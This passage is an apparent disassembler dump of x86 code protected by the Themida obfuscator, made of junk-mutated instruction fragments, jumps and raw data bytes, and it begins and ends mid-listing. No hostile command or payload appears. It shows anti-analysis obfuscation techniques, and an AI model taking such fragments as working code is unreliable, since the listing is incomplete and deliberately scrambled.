		db 68h,	0BDh, 64h
		dd 0E95A07E0h, 1A51h, 15685E5Ch, 89000002h, 0C589242Ch
		dd 6AAB68h, 242C8900h, 247DE9h,	3BCBF00h, 0F8215845h, 0CC5EE95Fh
		dd 248BFFFFh, 8ABDE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_557CD6:				; CODE XREF: Themida_:00552176j
		push	5B7Ch
		mov	[esp], edi
		push	6B67h
		mov	[esp], esi
		push	ebp
		mov	ebp, 619E4FBCh
		mov	esi, 60191028h
		xor	esi, ebp
		jmp	loc_55A9D4
; ---------------------------------------------------------------------------


loc_557CF8:				; CODE XREF: Themida_:005547CBj
		push	ebx
		push	67D7h
		mov	[esp], esi
		mov	esi, 697D0843h
		jmp	loc_55B4A1
; ---------------------------------------------------------------------------
		db 0FFh
		dd 0E9042474h, 0FFFFEAA8h, 20CABD55h, 0CEBB47B2h, 8147B220h
		dd 0E91305C3h, 0AC54E970h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_557D2A:				; CODE XREF: Themida_:005511CDj
		dec	esi
		or	esi, 52A548D2h
		add	esi, 0AD00372Dh
		mov	edi, esi
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_554E37
; ---------------------------------------------------------------------------
		db 68h
		dd 54D554ACh, 0FFE79CE9h, 80D2F6FFh, 0D388A8F2h, 28A52C5Ah
		dd 55E951D8h
		db 96h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_557D63:				; CODE XREF: Themida_:00552E05j
		push	edx
		mov	edx, 26FB0588h
		sub	ebx, edx
		pop	edx
		push	ebp
		mov	ebp, 0C5B9CD69h
		sub	ebx, ebp
		mov	ebp, [esp]
		add	esp, 4
		mov	ecx, ebx
		pop	ebx
		add	ecx, 2BD23486h
		add	ecx, edi
		jmp	loc_558498
; ---------------------------------------------------------------------------


loc_557D8A:				; CODE XREF: Themida_:0055BB52j
		push	7D99h
		mov	[esp], ecx
		mov	ecx, 4000h
		jmp	loc_55BDE8
; ---------------------------------------------------------------------------
		dd 0E95FF801h, 3B69h
; ---------------------------------------------------------------------------


loc_557DA4:				; CODE XREF: Themida_:00553CA6j
		inc	edi
		inc	edi
		push	edi
		not	dword ptr [esp]
		pop	edi
		push	ecx
		mov	ecx, 4EAC0A36h
		jmp	loc_558F1A
; ---------------------------------------------------------------------------
		dw 0EC83h
		dd 24048904h, 405E089h,	5000000h, 4, 0E9240433h, 0FFFFE8A3h
		dd 31241C33h, 1C33241Ch, 24248B24h, 0E9028864h,	0FFFF89AFh
		dd 8704C283h, 895C2414h, 16A1E9C3h, 0E1890000h,	0FFF796E9h
		dd 66E630FFh, 8124048Bh, 2C4h, 0B3535000h, 4C86E999h, 89530000h
		dd 8D4CE9E3h, 78E9FFFFh, 88FFFF89h, 148B8734h, 0B498E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_557E26:				; CODE XREF: Themida_:00556FBAj
		add	ebx, edi
		jmp	loc_55A373
; ---------------------------------------------------------------------------


loc_557E2D:				; CODE XREF: Themida_:0055415Aj
		pop	edx
		and	eax, edi
		mov	edi, [esp]
		push	edx
		mov	edx, esp
		push	ebx
		mov	ebx, 73195591h
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 22814A25h
		jmp	loc_5508DA
; ---------------------------------------------------------------------------


loc_557E4F:				; CODE XREF: Themida_:00557F2Fj
		xor	eax, 7251FADh
		mov	ecx, eax
		pop	eax
		shl	ecx, 8
		push	eax
		mov	eax, 3A5F9700h
		push	5321h
		mov	[esp], eax
		jmp	loc_559F6D
; ---------------------------------------------------------------------------
		db 50h,	0B4h, 64h
		dd 22E913B6h, 5AFFFFE0h, 4B850h, 58E90000h, 66FFFFF1h
		dd 0F1816649h, 0F7664C75h, 826866D1h, 1C89666Ah, 0B2BB6624h
		dd 0CFBAE95Bh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_557E9E:				; CODE XREF: Themida_:00551949j
		mov	esi, esp
		add	esi, 4
		push	ecx
		mov	ecx, 0DD6130Dh
		dec	ecx
		add	ecx, 0F229ECF8h
		jmp	loc_5595C1
; ---------------------------------------------------------------------------
		dd 0E9241C8Bh, 2744h, 1F2AB9BEh, 0EDE9523Eh
		db 0BFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_557ECB:				; CODE XREF: Themida_:00555FB0j
		push	dword ptr [esp]
		push	dword ptr [esp]
		mov	ecx, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], eax
		mov	eax, esp
		add	eax, 4
		jmp	loc_55565B
; ---------------------------------------------------------------------------
		dd 8B242C87h, 23E92424h
		db 0DDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_557EF7:				; CODE XREF: Themida_:00552951j
		mov	ebx, 3EF048E2h
		push	esi
		mov	esi, 37CE6E25h
		jmp	loc_558B27
; ---------------------------------------------------------------------------
		db 55h
		dd 4D5E9h
		db 0
; ---------------------------------------------------------------------------


loc_557F0D:				; CODE XREF: Themida_:005546F2j
		pop	ebp
		xor	eax, ebp
		mov	ebp, [esp]
		add	esp, 4
		sub	eax, 8A2CE62Eh
		jmp	loc_5548DA
; ---------------------------------------------------------------------------


loc_557F23:				; CODE XREF: Themida_:00555E0Cj
		push	eax
		mov	eax, 507D00EAh
		sub	eax, 0FFFFFFFFh
		shr	eax, 2
		jmp	loc_557E4F
; ---------------------------------------------------------------------------
		dd 4C5CC868h, 24148B66h, 0E9E28952h, 0FFFFCE74h, 0E9ACC280h
		dd 484Fh, 1349C7B9h, 59CB3115h,	4EC81h,	2C890000h, 91E6E924h
		dd 5450FFFFh, 8D0CE958h
		db 2 dup(0FFh)
word_557F6A	dw 77FFh		; DATA XREF: Themida_:005504F0o
		dd 242C813Ch, 64EA2DD7h, 83BE5658h, 57261C42h, 0FFACDDE9h
		dd 4C483FFh, 1F046D04h,	1F2CC800h, 0E9596D2Ch, 0FFFFE3FBh
		dd 409665Ch, 0F4E99C24h, 59FFFF87h, 0FFF1B7E9h,	17F181FFh
		dd 0F77A3974h, 50D9F7D1h, 0A7557B8h, 12D92D03h,	0FB052E82h
		dd 51B5B7Fh, 6E720359h,	34E50540h, 0C131A99Bh, 0FF988FE9h
		db 0FFh
byte_557FD1	db 64h,	0FFh, 32h	; DATA XREF: Themida_:00550600o
		dd 0FF87BAE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_557FD9:				; CODE XREF: Themida_:0055C1F2j
		push	ebx
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 436449Fh
		add	edi, 48BAE382h
		jmp	loc_55CA51
; ---------------------------------------------------------------------------
		db 81h
		dd 94B75DC6h, 5EF001CFh, 31240433h, 4332404h, 0B1E9E924h
		dd 0DD01FFFFh, 4CF0C581h, 1AE96ADCh
		db 0BFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_558017:				; CODE XREF: Themida_:0055619Aj
		add	ebp, esi
		pop	esi
		xchg	ebp, [esp]
		jmp	loc_557772
; ---------------------------------------------------------------------------
		dw 0CF87h
		dd 0CF87D1F7h, 0FFC88AE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55802D:				; CODE XREF: Themida_:0055BE89j
		add	edi, 627764FFh
		jmp	loc_553F76
; ---------------------------------------------------------------------------
		dd 0A819B8B8h, 0ADD0533h, 9F0D479Dh, 0D28A372h,	6AFA7AB1h
		dd 64337B05h, 14B95114h, 97DFC4Fh, 0D1E959C8h, 0F7FFFFB8h
		dd 0ADF2E9D2h, 505EFFFFh, 0DA743BB8h, 58C60964h, 0E906EEC1h
		dd 0FFFF886Dh, 895AD029h, 2434FFC6h, 4C48358h, 815EF031h
		dd 0E07BE3EBh, 0E1895162h, 4C181h, 0E9550000h, 0FFFFD725h
		dd 8704C683h, 77E92434h, 51000020h, 240C8B54h, 0E9E28952h
		dd 2084h, 315FBB53h, 0E3817C8Fh, 787973C0h, 0B94EB81h
		dd 0ED815E2Fh, 25C82830h, 0F8E9DD01h, 0B1000031h, 214AE9C7h
		dd 0FAB80000h, 0E9BADAADh, 0FFFFFCB8h
; ---------------------------------------------------------------------------


loc_5580E4:				; CODE XREF: Themida_:0055B443j
		push	4FA9h
		mov	[esp], ecx
		mov	ecx, 0C7F1772h
		inc	ecx
		push	0
		jmp	loc_5540C4
; ---------------------------------------------------------------------------
dword_5580FC	dd 24048B66h, 428E68h, 24148900h, 4EC81h, 24890000h, 4BD5524h
					; DATA XREF: Themida_:0055067Co
		dd 81000000h, 0BF04246Ch, 8144FE6Ah, 9704246Ch,	1738174h
		dd 8104246Ch, 97042444h, 81738174h, 0BF042444h,	5D44FE6Ah
		dd 4EC815Ah, 89000000h,	4BD242Ch, 81000000h, 0DE6B71EAh
		dd 397CE90Dh, 8BD0000h,	212D7343h, 0F3815DEBh, 184B11D2h
		dd 0FFA4BEE9h, 67C181FFh, 51697B4Bh, 59241CF7h,	0FFB94CE9h
		db 0FFh
byte_558179	db 0FFh, 77h, 40h	; DATA XREF: Themida_:00550720o
		dd 0FF8612E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_558181:				; CODE XREF: Themida_:0055516Bj
		mov	[esp], eax
		jmp	loc_55A170
; ---------------------------------------------------------------------------


loc_558189:				; CODE XREF: Themida_:00559F53j
		pop	esp
		mov	[esp], ebx
		push	ecx
		mov	ecx, esp
		jmp	loc_555756
; ---------------------------------------------------------------------------
		db 0C1h, 0E3h, 4
		dd 69EB8143h, 89713B57h, 0FA015BDAh, 4A9B055Fh,	0D0016ABCh
		dd 0BC4A9B2Dh, 2434FF6Ah, 2404E95Ah, 87B80000h,	0E90D771Dh
		dd 0FFFFB1D8h, 8107EDC1h, 5F68F5h, 0D3B95159h, 0E92C4E20h
		dd 0FFFFC346h
; ---------------------------------------------------------------------------


loc_5581D8:				; CODE XREF: Themida_:0055BF42j
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_552F38
; ---------------------------------------------------------------------------


loc_5581E3:				; CODE XREF: Themida_:00556713j
		or	ecx, 62E36889h
		xor	ecx, 0A550BEFh
		jmp	loc_550A41
; ---------------------------------------------------------------------------
		dd 205h, 24043300h, 2E7CE9h, 858DE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_558206:				; CODE XREF: Themida_:0055BE58j
		xor	eax, 2F140FB3h
		jmp	loc_555513
; ---------------------------------------------------------------------------
		dd 0C380CBFEh, 6E3C09Ch, 8041E380h, 0D3E9E7EBh
		db 32h,	2 dup(0)
byte_558223	db 66h			; DATA XREF: Themida_:00550744o
		dd 0E924048Bh, 0FFFFE13Fh, 835BDE01h, 343302C6h, 24343124h
		dd 5C243433h, 0E904EC83h, 0FFFFD60Fh, 0C5E9515Dh, 28FFFF94h
		dd 0A8B151D0h, 0E180D1F6h, 3FE980EBh, 6659C800h, 28BB2C5Ah
		dd 654E9C8h, 0C3800000h, 9604F4h, 0E9962CD8h, 3EBDh, 0E95DEB01h
		dd 0FFFFFB54h, 348BF029h, 4C48124h, 81000000h, 720BBBEDh
		dd 81C5014Fh, 720BBBC5h, 0C581584Fh, 2,	5C242C87h, 24048B66h
		dd 17ACE955h
		db 2 dup(0)
word_5582AA	dw 8B66h		; DATA XREF: Themida_:00550604o
		dd 68552404h, 6450h, 0FF8B82E9h, 0EA81FFh, 59464C1Ch, 31241433h
		dd 14332414h, 24248B24h, 4381E954h
		db 2 dup(0)
word_5582D2	dw 8B66h		; DATA XREF: Themida_:0055050Co
		dd 0BB682404h, 8900000Ah, 0F7682414h, 5400004Bh, 8324048Fh
		dd 0FF042404h, 835A2434h, 0BE5604C4h, 5C7C6787h, 987DC681h
		dd 44E9A383h, 8100003Ch, 5F6A90C2h, 0C9E95859h
		db 3Bh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55830F:				; CODE XREF: Themida_:00550BEEj
		push	5585h
		jmp	loc_5569B6
; ---------------------------------------------------------------------------
		db 81h,	0E1h, 0B6h
		dd 8707A878h, 87D3F7D9h, 5DE981D9h, 0E9B53ED3h,	0FFFFF509h
; ---------------------------------------------------------------------------


loc_558330:				; CODE XREF: Themida_:005589C7j
		xchg	edx, [esp]
		pop	esp
		or	eax, eax
		jnz	loc_55225B
		push	0CA5h
		mov	[esp], esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		mov	[esp], ebx
		jmp	loc_550C58
; ---------------------------------------------------------------------------


loc_55835E:				; CODE XREF: Themida_:0055A685j
		mov	edi, 5D4F5BB3h
		shl	edi, 2
		neg	edi
		sub	edi, 4D75A7Ch
		sub	edi, 3D7B20B2h
		not	edi
		sub	edi, 6CF3E7DBh
		or	edx, edi
		pop	edi
		neg	edx
		xor	edx, 7AF60F41h
		inc	edx
		shl	edx, 7
		xor	edx, 106AFB22h
		sub	ecx, 318419DEh
		jmp	loc_551F26
; ---------------------------------------------------------------------------


loc_55839C:				; CODE XREF: Themida_:0055C19Fj
		push	dword ptr [esp]
		jmp	loc_557273
; ---------------------------------------------------------------------------
		dd 5AFEEF81h, 0EF010F5Ah, 0FFBEB3E9h, 1C8B54FFh, 4C48124h
		dd 0E9000000h, 1E14h, 405E089h,	2D000000h, 4, 5C240487h
		dd 0FFCF6AE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5583D5:				; CODE XREF: Themida_:0055423Ej
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_553A3E
; ---------------------------------------------------------------------------
		dw 0E0BDh
		dd 2960DD42h, 0E9015DE9h, 42E0BE56h, 0F10160DDh, 19FCE9h
		dd 24148B00h, 104C483h,	0C0835DE8h, 24048702h, 4D3665Ch
		dd 55E99C24h
		db 0F5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_558413:				; CODE XREF: Themida_:00556D81j
		add	esp, 4
		xchg	ebx, [esp]
		jmp	loc_55AF7B
; ---------------------------------------------------------------------------


loc_558421:				; CODE XREF: Themida_:005587DCj
		add	ecx, 0FFFFFFFFh
		inc	ecx
		push	98Eh
		mov	[esp], eax
		mov	eax, 1BA03BC0h
		push	esi
		push	edi
		mov	edi, 60951785h
		mov	esi, edi
		jmp	loc_55C78A
; ---------------------------------------------------------------------------
		dd 81E28952h, 4C2h, 4EA8100h, 87000000h, 248B2414h, 2E2BE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55845A:				; CODE XREF: Themida_:0055784Ej
		pop	edx
		jmp	loc_55738C
; ---------------------------------------------------------------------------


loc_558460:				; CODE XREF: Themida_:00553FB3j
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		and	eax, ecx
		push	dword ptr [esp]
		mov	ecx, [esp]
		add	esp, 4
		push	54B7h
		mov	[esp], ebx
		mov	ebx, esp
		push	edi
		jmp	loc_558E58
; ---------------------------------------------------------------------------
		db 1
		dd 0AEEA81CAh, 0E923D766h, 0FFFFE13Dh
; ---------------------------------------------------------------------------


loc_558498:				; CODE XREF: Themida_:00557D85j
		push	edx
		mov	edx, 2BD23486h
		sub	ecx, edx
		pop	edx
		add	dword ptr [ecx], 1
		pop	ecx
		jmp	loc_55786F
; ---------------------------------------------------------------------------


loc_5584AD:				; CODE XREF: Themida_:00553D74j
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_55C5FC
; ---------------------------------------------------------------------------
		db 68h
		dd 391C4CDEh, 0E9814959h, 34E5F8CAh, 5059C889h,	0C8242C81h
		dd 5D179E47h, 47C8C581h, 48B179Eh, 4C48124h, 31000000h
		dd 0F15DE9E8h, 0F331FFFFh, 0B32D5Eh, 0D80152F4h, 0F400B305h
		dd 56575B52h, 4BEh, 8BF78900h, 0C4832434h, 0F3A0E904h
		dd 248BFFFFh, 377F6824h, 1C890000h, 0BAF7E924h,	3C87FFFFh
		dd 0C4D4E924h, 0CA01FFFFh, 33E9E9h
		db 0
; ---------------------------------------------------------------------------


loc_55852D:				; CODE XREF: Themida_:00558A98j
		sub	al, dl
		pop	edx
		push	small 3CEBh
		mov	[esp], bx
		push	ecx
		sub	esp, 4
		mov	[esp], ebx
		mov	bl, 99h
		jmp	loc_559733
; ---------------------------------------------------------------------------
		db 0B3h, 74h, 0FEh
		dd 0DE48E9CBh, 10BAFFFFh, 811CB307h, 0DB672DC2h, 414BE9EBh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_558562:				; CODE XREF: Themida_:005522E5j
		pop	edx
		dec	edx
		jmp	loc_557537
; ---------------------------------------------------------------------------
		db 1, 0D0h, 2Dh
		dd 54145473h, 2055Ah, 25E90000h, 59FFFFE8h, 28FFB652h
		dd 0F4805AF4h, 58E63095h, 0FFB370E9h
		db 0FFh
byte_55858D	db 66h,	8Bh, 4		; DATA XREF: Themida_:005504C0o
		dd 0E9545124h, 0FFFF954Eh, 89048DBAh, 72102D28h, 0D0296AE6h
		dd 0E6721005h, 24148B6Ah, 8904C483h, 0EF8158C2h, 7E892C45h
		dd 0FF9F02E9h, 88D188FFh, 240C8B0Bh, 8B04C483h,	0C483241Ch
		dd 81C1E904h, 0D028FFFFh, 0BDB7535Ah, 0C006E7C0h, 0FDE907E7h
		dd 0C1FFFFCCh, 0BB5306E6h, 1DD4B95Bh, 35E9DE01h, 59000016h
		dd 3359CF29h, 3C31243Ch, 243C3324h, 2424895Ch, 4240481h
		dd 0E9000000h, 0FFFFE8F0h, 4C481h, 83570000h, 2C8904ECh
		dd 242C8124h, 1C0979C4h, 0E9243C8Bh, 0FFFFA57Eh, 5C24048Fh
		dd 2B05E9h, 5E5C100h, 0A163F581h, 11E9E6E2h, 81FFFF88h
		dd 4ECh, 24148900h, 8B67B0BAh, 0D1DAF77Bh, 3F281E2h, 0E95DAB0Ah
		dd 0C12h
dword_558660	dd 240C8B66h, 1C4568h, 24348900h, 90685E54h, 8900002Eh
					; DATA XREF: Themida_:005506F0o
		dd 9AE9241Ch
		db 29h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55867B:				; CODE XREF: Themida_:0055165Dj
		push	edx
		jmp	loc_553010
; ---------------------------------------------------------------------------
		db 0BAh, 2, 0
		dd 0D3010000h, 5624148Bh, 0FFF0B2E9h, 240489FFh, 4B8h
		dd 58C10100h, 0F9BB5355h, 8914741Fh, 0C52E9DDh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5586AA:				; CODE XREF: Themida_:0055A16Bj
		pop	ebp
		add	ebp, 4
		push	ecx
		mov	ecx, 4
		add	ebp, ecx
		pop	ecx
		xchg	ebp, [esp]
		pop	esp
		push	edx
		mov	edx, 13AD2D6Bh
		jmp	loc_55A684
; ---------------------------------------------------------------------------
		db 81h,	0ECh, 2
		dd 66000000h, 0E9240489h, 0FFFFDFB0h, 0DC85C381h, 0E1E98C8Fh
		db 0CEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5586E3:				; CODE XREF: Themida_:00550ECEj
		not	dword ptr [esp]
		pop	edi
		xor	eax, edi
		xor	edi, eax
		xor	eax, edi
		sub	esp, 4
		mov	[esp], edi
		push	esi
		push	ebp
		mov	ebp, 66361E13h
		mov	esi, 0B32F4025h
		add	esi, 72BA2708h
		sub	esi, ebp
		sub	esi, 72BA2708h
		mov	ebp, [esp]
		add	esp, 4
		push	ecx
		mov	ecx, 23F332F8h
		jmp	loc_55327C
; ---------------------------------------------------------------------------
		db 0F7h, 0D6h, 0E9h
		dd 0FFFFF0A5h, 8019C980h, 560421F1h, 0FFE95352h
		db 41h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_558737:				; CODE XREF: Themida_:005508F4j
		shr	edx, 8
		inc	edx
		push	edi
		mov	edi, 6E1D41F3h
		jmp	loc_554496
; ---------------------------------------------------------------------------


loc_558746:				; CODE XREF: Themida_:00554AA2j
		mov	[esp], edx
		mov	edx, 50740C93h
		jmp	loc_557225
; ---------------------------------------------------------------------------
		db 0E9h
		dd 0FFFF803Bh, 633FACBFh, 81DFF71Fh, 0E17314F7h, 0F8B8E950h
		dd 0C481FFFFh, 4, 66F00059h, 8324148Bh,	0EB0402C4h, 0EB2CD800h
		dd 0B4505166h, 0E9E5889Eh, 3EDDh
dword_55878C	dd 240C8B66h, 0E9595451h, 174Ah	; DATA XREF: Themida_:00550678o
; ---------------------------------------------------------------------------


loc_558798:				; CODE XREF: Themida_:005527B0j
		pop	ecx
		add	edx, esi
		jmp	loc_5590B4
; ---------------------------------------------------------------------------
		dd 7B42F781h, 0F8318CCCh, 3352E9h
		db 0
; ---------------------------------------------------------------------------


loc_5587AD:				; CODE XREF: Themida_:00556256j
		mov	[esp], eax
		xchg	ebx, [esp]
		push	6249h
		jmp	loc_559870
; ---------------------------------------------------------------------------
		db 33h,	0Ch, 24h
		dd 0E924248Bh, 0FFFFA41Dh
dword_5587C8	dd 51D831ADh, 4EC81h, 2DE90000h	; DATA XREF: Themida_:00550630o
		db 0B8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5587D7:				; CODE XREF: Themida_:00553A9Aj
		mov	ecx, 7B352445h
		jmp	loc_558421
; ---------------------------------------------------------------------------
		db 5Ch,	0C1h, 0E5h
		dd 4EC8308h, 52241C89h,	0EE2FC768h, 814A5A5Ah, 0E4AF0F2h
		dd 0A9EA8105h, 892A6420h, 0E8E95AD3h
		db 0B1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_558807:				; CODE XREF: Themida_:0055698Bj
		xor	eax, ecx
		push	35FAh
		mov	[esp], eax
		jmp	loc_551BC3
; ---------------------------------------------------------------------------
		dw 0BB53h
		dd 266F4547h, 4543F381h, 0DD01266Fh, 47B2685Bh,	3C890000h
		dd 4BF24h, 0FD290000h, 0FFE786E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_558839:				; CODE XREF: Themida_:00556617j
		xchg	ebp, [esp]
		jmp	loc_551A1B
; ---------------------------------------------------------------------------
		db 83h,	0C4h, 4
		dd 4C181h, 51550000h, 0D64F6FB9h, 59C18144h, 89BF5BEAh
		dd 1047E9CDh, 3C890000h, 0FEF2E924h, 0E868FFFFh, 89000029h
		dd 2B82404h, 0E9000000h, 0FFFFB4BAh
; ---------------------------------------------------------------------------


loc_558878:				; CODE XREF: Themida_:00559514j
		push	ebx
		jmp	loc_557943
; ---------------------------------------------------------------------------
word_55887E	dw 8B66h		; DATA XREF: Themida_:0055065Co
		dd 5455240Ch, 0FF7F4FE9h, 0C0EB81FFh, 5772906Ah, 2812BA52h
		dd 0C281195Ch, 52B27D31h, 8769EA81h, 0D7890AC9h, 8632E95Ah
		db 2 dup(0FFh)
word_5588AA	dw 478Fh		; DATA XREF: Themida_:005505F4o
		dd 7EE1E940h, 0F75DFFFFh, 0E745E9D7h, 6866FFFFh, 28E92488h
		dd 68FFFFDAh, 53402C58h, 8324348Bh, 0F68104C4h,	1C347BE5h
		dd 0A3FBE956h, 3C87FFFFh, 24248B24h, 0FF942BE9h, 0E94AB0FFh
		dd 0FFFFC75Dh, 89E9EE01h
		db 8, 2	dup(0)
; ---------------------------------------------------------------------------


loc_5588F3:				; CODE XREF: Themida_:00558C79j
		sub	edi, 40986176h
		xor	ebp, edi
		pop	edi
		or	edi, ebp
		pop	ebp
		jmp	loc_5563C8
; ---------------------------------------------------------------------------
		dd 24048F5Bh, 8324248Bh, 0C48304C4h, 0C8BE0F04h, 81E28952h
		dd 4C2h, 4EA8300h, 5C241487h, 68240489h, 62FCh,	9A0DE954h
		dd 5455FFFFh, 1123E9h
		db 0
byte_558939	db 0ADh, 31h, 0D8h	; DATA XREF: Themida_:0055060Co
		dd 0AEE8E951h, 5FBBFFFFh, 53040D79h, 5678F0BBh,	13942D03h
		dd 0D82966E5h, 0E5139405h, 0F97E966h, 0C8290000h, 55121005h
		dd 2434FF2Dh, 3958E959h, 1F2D0000h, 176E1CBh, 24E958C2h
		dd 88000009h, 20F0E9F0h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_558982:				; CODE XREF: Themida_:00553110j
		add	eax, esi
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_552806
; ---------------------------------------------------------------------------
		dw 431h
		dd 24043324h, 0FFC678E9h, 2C181FFh, 87000000h, 665C240Ch
		dd 66C8AF0Fh, 0E0E99C51h
		db 7Dh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5589B3:				; CODE XREF: Themida_:00557274j
		sub	esp, 4
		mov	[esp], edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		jmp	loc_558330
; ---------------------------------------------------------------------------
		dd 4BF57h, 0FB010000h, 4BE565Fh, 81000000h, 0A912EEEBh
		dd 28C3817Ah, 15B735Ah,	9ADEE9F3h, 0E95DFFFFh, 2F97h, 242C8B66h
		dd 0FFEBFDE9h, 24148BFFh, 4C481h, 0CF800000h, 73F7809Bh
		dd 0D4CBE951h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_558A12:				; CODE XREF: Themida_:00559F8Bj
		pop	ecx
		sub	edx, eax
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_55981C
; ---------------------------------------------------------------------------
dword_558A20	dd 24048B66h, 0FF8108E9h, 0C36856FFh, 5E3CFF45h, 8107E6C1h
					; DATA XREF: Themida_:005506E0o
		dd 0F10E02EEh, 7CC68149h, 89E74978h, 0C1835EF1h, 9DE3E901h
		dd 2C80FFFFh, 48A2D24h,	4EC8324h, 0E9240489h, 3418h
dword_558A5C	dd 240C8B66h, 81E38953h, 4C3h, 4EB8300h, 0FF9B76E9h, 4C483FFh
					; DATA XREF: Themida_:005506DCo
		dd 0E580ED81h, 0C781FED2h, 1D4B5540h, 0EF81EF29h, 1D4B5540h
		dd 5D2434FFh, 5704C483h, 0FFDDD6E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_558A95:				; CODE XREF: Themida_:00555AE3j
		xor	dl, 17h
		jmp	loc_55852D
; ---------------------------------------------------------------------------
		db 0C1h, 0E7h, 5
		dd 301CE781h, 0F7817B3Eh, 4ABC5760h, 8105E7C1h,	0A7C250EFh
		dd 8BFE29E9h, 63E9243Ch, 0BB000038h, 2D4E3D3Fh,	0FFE638E9h
		db 0FFh
byte_558AC9	db 0FFh, 77h, 1Ch	; DATA XREF: Themida_:00550730o
		dd 1058669Dh, 0E99C2404h, 0FFFF7CBBh, 8890B050h, 0D8E958C2h
		dd 5CFFFFB6h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	31A2h
		jmp	loc_5593FF
; ---------------------------------------------------------------------------


loc_558AF7:				; CODE XREF: Themida_:005573BBj
		mov	[esp], esi
		sub	esp, 4
		mov	[esp], ebx
		pop	esi
		push	esi
		add	dword ptr [esp], 39D94E92h
		jmp	loc_556078
; ---------------------------------------------------------------------------
		db 0E9h, 7Dh, 7Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_558B16:				; CODE XREF: Themida_:00555F30j
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		jmp	loc_55BA1C
; ---------------------------------------------------------------------------


loc_558B27:				; CODE XREF: Themida_:00557F02j
		and	ebx, esi
		pop	esi
		xor	ebx, 36C04824h
		add	esi, ebx
		pop	ebx
		push	ecx
		jmp	loc_552E3D
; ---------------------------------------------------------------------------
aQrs_		db 'QRéÔ.',0
		align 10h
		dd 0C6D4E957h, 46BEFFFFh, 13F2217h, 0C8295EF0h,	2217462Dh
		dd 0EC83593Fh, 24348904h, 3E93E9h, 4EC8300h, 0B9240C89h
		dd 4, 6F14C581h, 0CD295EF9h, 6F14ED81h,	3E95EF9h
		db 0CCh, 2 dup(0FFh)
byte_558B7F	db 0ACh			; DATA XREF: Themida_:00550748o
		dd 0D0BCB652h, 26DE9EEh, 0B9510000h, 408B45FBh,	8107E1C1h
		dd 5D0284C1h, 0C8BDE9BAh, 0C301FFFFh, 582434FFh, 4C481h
		dd 0BD550000h, 4FC06C32h, 2815E581h, 0ED814EE9h, 0ECB9D866h
		dd 4A27C581h, 49E93F30h, 89000021h, 0ACEDE9E6h,	6668FFFFh
		dd 0E96B2E0Fh, 3A13h
; ---------------------------------------------------------------------------


loc_558BD8:				; CODE XREF: Themida_:00550AF6j
		pop	esi
		add	esp, 4
		push	eax
		push	3119h
		mov	[esp], esp
		add	dword ptr [esp], 4
		mov	eax, [esp]
		add	esp, 4
		push	ebx
		jmp	loc_551FBA
; ---------------------------------------------------------------------------
dword_558BF8	dd 24048B66h, 8904EC83h, 67E9241Ch ; DATA XREF:	Themida_:00550694o
		db 3, 2	dup(0)
byte_558C07	db 66h			; DATA XREF: Themida_:00550518o
		dd 0E9240C8Bh, 368Ah, 1B7086BEh, 2BEDB964h, 0F13112ACh
		dd 0FFB795E9h, 24348BFFh, 0E904C483h, 0FFFFBD1Bh, 990834B9h
		dd 0B1BD5510h, 0E9060D09h, 0FFFFA76Bh, 0C281C201h, 70EC78DEh
		dd 8124048Bh, 4C4h, 24143300h, 0A90E9h,	4C68100h, 50000000h
		dd 527F68h, 0BF57583Dh,	4419724Ah, 3160EF81h, 2DE966F1h
		db 0FBh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_558C73:				; CODE XREF: Themida_:0055227Ej
		add	edi, 352141CEh
		jmp	loc_5588F3
; ---------------------------------------------------------------------------
		dw 895Ch
		dd 8B54242Ch, 0C483242Ch, 4B95104h, 1000000h, 0BF5759CDh
		dd 2, 1543ED81h, 0FD0157BFh, 1543C581h,	0E95F57BFh, 3098h
		dd 3F1B68h, 8969E900h
		db 2 dup(0FFh)
word_558CB6	dw 34FFh		; DATA XREF: Themida_:0055068Co
		dd 24048B24h, 4C481h, 0E9500000h, 0FFFFD0E4h
; ---------------------------------------------------------------------------


loc_558CC8:				; CODE XREF: Themida_:00554357j
		shr	ecx, 0
